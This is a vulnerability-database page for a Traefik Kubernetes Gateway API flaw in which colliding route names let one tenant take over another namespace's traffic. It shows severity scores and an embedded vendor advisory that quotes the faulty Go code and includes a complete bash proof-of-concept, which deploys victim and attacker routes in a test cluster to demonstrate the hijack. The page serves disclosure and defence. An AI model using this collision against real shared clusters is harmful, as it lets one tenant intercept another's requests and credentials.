CVE-2026-71327

highpriority · track · 32EPSS 0.005 · 41 %ileEURUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.48% (41st) EPSS
CVSS 8.1 · high
Is it mine?
10 products
Check your exposure
Who says so?
5 sources
cnnvd · enisa_euvd · fstec_bdu · osv

EPSS · scored 2026-10-27

Traefik is an open source HTTP reverse proxy and load balancer. From 3.0.0 until 3.6.25 and 3.7.10, Traefik's Kubernetes Gateway API provider in pkg/provider/kubernetes/gateway/httproute.go, grpcroute.go, tcproute.go, and tlsroute.go builds HTTPRoute, GRPCRoute, TCPRoute, and TLSRoute router and service identities by hyphen-concatenating namespace, route name, Gateway identity, entry point, and rule index, allowing colliding Routes to overwrite another namespace's backend. This issue is fixed in 3.6.25 and 3.7.10.

01

cvss

Technical severity, 0–10. One row per scoring source.

8.2
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 4.9–8.2

v3.18.1highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:Nprimary · NVD / NIST USexploitability 2.8 · impact 5.2
v3.16.8mediumAV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:Nsecondary · FSTEC (BDU) RU
v3.18.2highCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:Nsecondary · OSV
v4.07.6highCVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:Nsecondary · ENISA EU
v4.07.6highCVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · security-advisories@github.com
v4.04.9mediumCVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: none · Automatable: no · Technical Impact: totalcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (10)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-fgjj-px3w-67xxTraefik: Gateway API route identity collision allows cross-namespace backend hijacking2026-08-06ghsa · osvUS

    ## Summary There is a high severity vulnerability in Traefik's Kubernetes Gateway API provider. Router and service identities for `HTTPRoute`, `GRPCRoute`, `TCPRoute` and `TLSRoute` objects were built by hyphen-concatenating the route namespace, the route name, the Gateway identity, the entry point and the rule index, a construction that is not injective because Kubernetes names may themselves contain hyphens. Two distinct Routes attached to the same Gateway with equivalent match rules can therefore produce the same identity, and the Route loaded later silently overwrites the earlier one, so a tenant able to create an accepted Route in a colliding namespace/name combination can redirect another namespace's traffic to a backend it controls. All Traefik v3 minor lines are affected; the lines older than v3.6 are no longer maintained and will not receive a patch of their own, so users running them should upgrade to a maintained, patched release. ## Patches - https://github.com/traefik/traefik/releases/tag/v3.6.25 - https://github.com/traefik/traefik/releases/tag/v3.7.10 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ## Summary Traefik's Kubernetes Gateway provider constructs internal HTTPRoute and GRPCRoute identities by concatenating namespace, route name, Gateway identity, entrypoint, and rule index with hyphens. Kubernetes names may themselves contain hyphens, so the construction is not injective. For example, HTTPRoutes `team/a-app` and `team-a/app`, attached to the same Gateway with the same match rule, produce identical router and service keys. During configuration merging, the route loaded later overwrites the earlier route's maps. A tenant that can create an accepted Route in a colliding namespace/name combination can therefore redirect another namespace's traffic to an attacker-controlled backend. The official v3.7.8 binary was reproduced returning the victim backend before the second Route was created and the attacker backend immediately afterward. The victim Route had the earlier creation timestamp and should win the equivalent-match conflict under Gateway API precedence rules. ## Details The HTTPRoute provider creates a route key as follows: ```go routeKey := provider.Normalize(fmt.Sprintf( "%s-%s-%s-gw-%s-%s-ep-%s-%d", strings.ToLower(kindHTTPRoute), route.Namespace, route.Name, gatewayNamespace, gatewayName, listener.EPName, ri, )) ``` `Normalize` replaces non-alphanumeric runs with `-`, but it does not encode field lengths or otherwise preserve component boundaries: ```go func Normalize(name string) string { fargs := func(c rune) bool { return !unicode.IsLetter(c) && !unicode.IsNumber(c) } return strings.Join(strings.FieldsFunc(name, fargs), "-") } ``` These distinct objects therefore have the same normalized key: ```text namespace=team, route=a-app namespace=team-a, route=app httproute-team-a-app-gw-gateway-shared-ep-web-0 ``` `makeRouterName` adds a hash of the routing rule. When the attacker copies the victim's hostname and path, that hash is also identical. Child service and middleware names are derived from the same parent identity. Each Route is built into a temporary configuration and then merged into the provider-wide configuration with `maps.Copy`: ```go maps.Copy(to.HTTP.Routers, from.HTTP.Routers) maps.Copy(to.HTTP.Middlewares, from.HTTP.Middlewares) maps.Copy(to.HTTP.Services, from.HTTP.Services) maps.Copy(to.HTTP.ServersTransports, from.HTTP.ServersTransports) ``` `maps.Copy` replaces an existing value for a duplicate key. No collision is reported, and the resulting router points to the later Route's backend. The GRPCRoute implementation uses the same delimiter-free route-key format and the same HTTP configuration merge path. ### Attack prerequisites The attacker needs permission to create or modify an HTTPRoute or GRPCRoute that the shared Gateway accepts. Exploitation also requires namespace and Route names whose concatenation collides with a victim. The attacker does not need permission to read or modify the victim Route, Service, or namespace. ## Proof of Concept Prerequisites: - a disposable Kubernetes cluster with Gateway API v1.5.1 experimental CRDs; - `kubectl` configured for that cluster; - curl; - local TCP port 18080 available. The following script embeds all objects used by the reproduction. It runs the official `traefik:v3.7.8` image, creates the victim Route first, verifies the victim backend, then creates the colliding attacker Route and repeats the request. ```bash #!/usr/bin/env bash set -euo pipefail kubectl apply -f - <<'YAML' apiVersion: v1 kind: Namespace metadata: name: gateway --- apiVersion: v1 kind: Namespace metadata: name: team --- apiVersion: v1 kind: Namespace metadata: name: team-a --- apiVersion: v1 kind: ServiceAccount metadata: name: traefik-audit namespace: gateway --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: traefik-route-collision-lab roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: cluster-admin subjects: - kind: ServiceAccount name: traefik-audit namespace: gateway --- apiVersion: apps/v1 kind: Deployment metadata: name: traefik-audit namespace: gateway spec: replicas: 1 selector: matchLabels: app: traefik-audit template: metadata: labels: app: traefik-audit spec: serviceAccountName: traefik-audit containers: - name: traefik image: traefik:v3.7.8 args: - --entryPoints.web.address=:8000 - --providers.kubernetesgateway=true - --global.checkNewVersion=false - --global.sendAnonymousUsage=false - --log.level=ERROR ports: - name: web containerPort: 8000 --- apiVersion: gateway.networking.k8s.io/v1 kind: GatewayClass metadata: name: traefik-route-collision-lab spec: controllerName: traefik.io/gateway-controller --- apiVersion: gateway.networking.k8s.io/v1 kind: Gateway metadata: name: shared namespace: gateway spec: gatewayClassName: traefik-route-collision-lab listeners: - name: web protocol: HTTP port: 8000 allowedRoutes: namespaces: from: All --- apiVersion: apps/v1 kind: Deployment metadata: name: victim namespace: team spec: replicas: 1 selector: matchLabels: app: victim template: metadata: labels: app: victim spec: containers: - name: echo image: hashicorp/http-echo:1.0.0 args: ["-listen=:5678", "-text=VICTIM_BACKEND"] ports: - containerPort: 5678 --- apiVersion: v1 kind: Service metadata: name: backend namespace: team spec: selector: app: victim ports: - port: 80 targetPort: 5678 --- apiVersion: gateway.networking.k8s.io/v1 kind: HTTPRoute metadata: name: a-app namespace: team spec: parentRefs: - name: shared namespace: gateway hostnames: ["collision.example"] rules: - matches: - path: type: PathPrefix value: / backendRefs: - name: backend port: 80 YAML kubectl -n gateway rollout status deployment/traefik-audit --timeout=120s kubectl -n team rollout status deployment/victim --timeout=120s kubectl -n gateway port-forward deployment/traefik-audit 18080:8000 \ >/dev/null 2>&1 & PORT_FORWARD_PID=$! trap 'kill "$PORT_FORWARD_PID" 2>/dev/null || true' EXIT for _ in $(seq 1 60); do RESPONSE=$(curl -sS -H 'Host: collision.example' \ http://127.0.0.1:18080/ 2>/dev/null || true) if [ "$RESPONSE" = "VICTIM_BACKEND" ]; then break fi sleep 1 done printf 'before collision: %s\n' "$RESPONSE" sleep 2 kubectl apply -f - <<'YAML' apiVersion: apps/v1 kind: Deployment metadata: name: attacker namespace: team-a spec: replicas: 1 selector: matchLabels: app: attacker template: metadata: labels: app: attacker spec: containers: - name: echo image: hashicorp/http-echo:1.0.0 args: ["-listen=:5678", "-text=ATTACKER_BACKEND"] ports: - containerPort: 5678 --- apiVersion: v1 kind: Service metadata: name: backend namespace: team-a spec: selector: app: attacker ports: - port: 80 targetPort: 5678 YAML kubectl -n team-a rollout status deployment/attacker --timeout=120s kubectl apply -f - <<'YAML' apiVersion: gateway.networking.k8s.io/v1 kind: HTTPRoute metadata: name: app namespace: team-a spec: parentRefs: - name: shared namespace: gateway hostnames: ["collision.example"] rules: - matches: - path: type: PathPrefix value: / backendRefs: - name: backend port: 80 YAML for _ in $(seq 1 60); do RESPONSE=$(curl -sS -H 'Host: collision.example' \ http://127.0.0.1:18080/ 2>/dev/null || true) if [ "$RESPONSE" = "ATTACKER_BACKEND" ]; then break fi sleep 1 done printf 'after collision: %s\n' "$RESPONSE" kubectl get httproute -A --sort-by=.metadata.creationTimestamp ``` Expected output on v3.7.8: ```text before collision: VICTIM_BACKEND after collision: ATTACKER_BACKEND NAMESPACE NAME HOSTNAMES team a-app ["collision.example"] team-a app ["collision.example"] ``` The first Route is older, but creating the second Route changes existing victim traffic to the attacker backend. The same test was also run with the official standalone v3.7.8 Linux amd64 binary inside an isolated k3s cluster. The release archive had SHA-256 `dbd809b1de85d86d0718c80bedbaabd9aebaa3c6697f9e986ab5f387f4196cb7`. ## Impact In a shared Gateway deployment, a Route author can hijack requests belonging to another namespace when the object names admit a collision. Requests, credentials, authorization headers, and response data can be delivered to an attacker-controlled backend. The attacker can also return forged application content or accept state-changing requests intended for the victim. The favorable naming relationship and accepted shared Gateway are reflected in the high attack-complexity rating. </details> ---

  • GO-2026-6209Traefik: Gateway API route identity collision allows cross-namespace backend hijacking in github.com/traefik/traefik2026-08-18vendor · osvUS

    Traefik: Gateway API route identity collision allows cross-namespace backend hijacking in github.com/traefik/traefik

06

also known as (6)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-08-06modified 2026-08-07
08

references (15)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan